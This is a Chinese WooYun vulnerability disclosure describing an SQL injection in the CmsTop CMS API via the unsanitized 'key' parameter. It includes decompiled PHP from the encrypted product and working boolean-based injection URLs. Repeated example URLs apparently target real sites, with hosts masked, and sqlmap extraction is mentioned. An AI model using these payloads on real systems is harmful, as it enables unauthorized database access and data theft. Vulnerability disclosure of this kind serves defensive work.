当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(66) 关注此漏洞

缺陷编号: WooYun-2015-157276

漏洞标题: cmstop通用SQL注入漏洞(附多个大型站点案例)

相关厂商: CmsTop

漏洞作者: 路人甲

提交时间: 2015-12-01 11:25

公开时间: 2015-12-17 14:48

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

15人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-01: 细节已通知厂商并且等待厂商处理中
2015-12-01: 厂商已经确认,细节仅向厂商公开
2015-12-04: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-01-25: 细节向核心白帽子及相关领域专家公开
2016-02-04: 细节向普通白帽子公开
2016-02-14: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

cmstop SQL注入

详细说明:

0x01:介绍

目前已服务了300多家网站,客户遍及全国30个省市,覆盖报业、杂志、广电、网媒、政府、军队和高校等多个领域,其中代表性客户包括中纪委、新华社、人民日报社、CCTV、湖北广电、中青网、千龙网、财经网、参考消息、美国侨报、ELLE和瑞丽等



0x02:分析

问题出在api这个接口当中,cmstop为闭源系统,代码已经过zend加密,并且各模块进行严格封装。。。

一次偶然的机会截获了一份代码,并解密,取出其中代码进行分析,发现一处SQL注入漏洞并发现可绕过限制对其算法进行破解(如授权限制)。。

在apps\article\controller\api\article.php中

code 区域
class controller_api_article extends api_controller_abstract
{

private $article = NULL;

public function __construct( $app )
{
$FN_-2147483646( $app );
$this->article = loader::model( "admin/article" );
}

public function get( )
{
$contentid = value( $_GET, "contentid", 0 );
if ( !$contentid )
{
$result = array( "state" => FALSE, "error" => "内容编号错误" );
}
else
{
$data = $this->article->get( $contentid, "*", "show" );
if ( $data )
{
foreach ( array( "status_old", "unpublished", "unpublishedby", "modified", "modifiedby", "checked", "checkedby", "locked", "lockedby", "noted", "notedby", "note", "workflow_step", "workflow_roleid", "placeid", "saveremoteimage" ) as $field )
{
unset( $data[$field] );
}
}
$result = array(
"state" => TRUE,
"data" => $data
);
}
echo json_encode( $result );
}







跟踪\public\api\abstract.php(初始化抽象类)

code 区域
public function __construct( $app )
{
$FN_-2147483646( $app );
$this->config = config::get( "config" );
$this->setting = setting::get( $app->app );
$this->system = setting::get( "system" );
$this->json = factory::json( );
$this->cache = factory::cache( );
$this->auth_key = $this->get_key( );
if ( !$this->auth_key )
{
$this->showmessage( "KEY获取失败" );
}
$this->auth_sign = $this->get_sign( );
if ( !$this->auth_sign )
{
$this->showmessage( "SIGN签名获取失败" );
}
$this->auth_secret = $this->get_secret( $this->auth_key );





跟踪$this->get_key( )

code 区域
protected function get_key( )
{
$key = isset( $_GET['key'] ) ? $_GET['key'] : "";
if ( !$key )
{
$key = isset( $_POST['key'] ) ? $_POST['key'] : "";
}
return $key;
}





直接get方式传入

$this->auth_key 进入get_secret方法

code 区域
protected function get_secret( $key )
{
$userinfo = $this->get_userinfo( $key );
return $userinfo['auth_secret'];
}





又进入get_userinfo

code 区域
protected function get_userinfo( $key )
{
$_key = "api_userinfo_".$key;
$userinfo = $this->cache->get( $_key );
if ( !$userinfo )
{
$openauth = loader::model( "admin/openauth", "system" );
$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );
if ( !$userinfo )
{
return FALSE;
}
$user_model = loader::model( "admin/admin", "system" );
$a = $user_model->login( $userinfo['userid'] );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$user_model = loader::model( "member", "member" );
$a = $user_model->get( $userinfo['userid'], "groupid" );
if ( !$a )
{
return FALSE;
}
$userinfo = array_merge( $userinfo, $a );
$this->cache->set( $_key, $userinfo );
}
return $userinfo;



其中$key又进入了openauth类当中的get方法

apps\system\model\admin\openauth.php

继续父类model.php

code 区域
public function get( $where = NULL, $fields = "*", $order = NULL )
{
return $this->select( $where, $fields, $order, NULL, NULL, array( ), FALSE );
}





//$userinfo = $openauth->get( "auth_key='{$key}' AND disabled=0" );



进入select查询,造成SQL注入。。。

但是这是一个不是回显的注入漏洞,如何把他变成回显呢?

例如,我们直接访问

http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=1--+a&sign=3333&contentid=1

和http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20and%201=12--+a&sign=3333&contentid=1

没有任何区别。。。使用sqlmap也没法很好的判断(除非时间盲注)



我们在后面加入or 1=1 使前面成立,将数据进行输出,造成回显,这样就达到了我们的目的了。。

如http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=1--+a&sign=3333&contentid=1

1.png





http://**.**.**.**/?app=article&controller=article&action=get&key=a%27%20or%201=1%20and%201=21--+a&sign=3333&contentid=1

2.png



并且可以直接用sqlmap跑出数据了。。。



提供以下案例测试:

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1









漏洞证明:

提供以下案例测试:

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

**.**.**.**/?app=article&controller=article&action=get&key=a' or 1=1 and 1=21--+a&sign=3333&contentid=1

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-12-01 16:09

厂商回复:

非常感谢作者的辛苦付出,为CmsTop系统的安全做了贡献!代表CmsTop的广大用户感谢您。

最新状态:

2015-12-01:已修复


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-12-01 11:36 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    三个白帽呢

  2. 2015-12-01 11:40 | 狗狗侠 认证白帽子 ( 普通白帽子 | Rank:518 漏洞数:58 | 我是狗狗侠)
    0

    @xsser 大哥。。。这是毕源的。。。⊙﹏⊙b汗

  3. 2015-12-01 13:48 | saline ( 普通白帽子 | Rank:294 漏洞数:37 | Focus On Web Secur1ty)
    0

    这个是咋解密的.不是不开源的嘛~

  4. 2015-12-08 10:02 | 沉默 ( 路人 | Rank:23 漏洞数:6 | 国内知名Web分布式实时计算系统架构师,分...)
    0

    CMSTOP虽然用了PDO,但是他没用占位符,典型的找黑设计

  5. 2015-12-08 10:11 | D&G ( 普通白帽子 | Rank:566 漏洞数:113 | going)
    0

    @沉默 有源码?求

  6. 2015-12-08 12:29 | f4ckbaidu ( 普通白帽子 | Rank:243 漏洞数:31 | 开发真是日了狗了)
    0

    @沉默 大牛,求源码

  7. 2015-12-08 19:54 | Xser ( 普通白帽子 | Rank:379 漏洞数:86 | JDSec)
    0

    @沉默 求源码

  8. 2015-12-08 22:37 | onpu ( 普通白帽子 | Rank:354 漏洞数:62 | 不轻诺 故我不负人 不信诺 故人不负我)
    0

    坐等公开

  9. 2016-03-23 12:04 | tangtanglove ( 路人 | Rank:20 漏洞数:7 | 一个对安全感兴趣的屌丝phper)
    1

    求源码

登录后才能发表评论,请先 登录